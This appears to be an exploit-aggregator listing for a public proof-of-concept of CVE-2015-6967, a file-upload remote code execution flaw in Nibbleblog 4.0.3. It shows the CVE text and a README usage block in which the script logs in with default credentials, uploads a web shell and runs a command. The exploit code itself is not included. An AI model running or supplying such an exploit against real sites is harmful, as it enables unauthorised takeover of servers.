CVE-2015-6967 PoC — Nibbleblog 代码注入漏洞

Source

https://github.com/FredBrave/CVE-2015-6967

Associated Vulnerability

Title:Nibbleblog 代码注入漏洞 (CVE-2015-6967)
Description:Unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5 allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php.

Description

An exploit for the Nibbles manager version 4.0.3. This exploit allows RCE to be performed.

Readme

# CVE-2015-6967
An exploit for the Nibbles manager version 4.0.3. This exploit allows RCE to be performed.
# Requirements
optparse, signal, requests
# Usage
```shell
python3 CVE-2015-6967.py --url http://10.129.156.150/ --username admin --password nibbles
[ + ] Login Succesfuly!
[+] Uploading shell...
[ * ] Shell has been uploaded!
---------------------------------------------------------------------------
cmd> whoami
nibbler
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!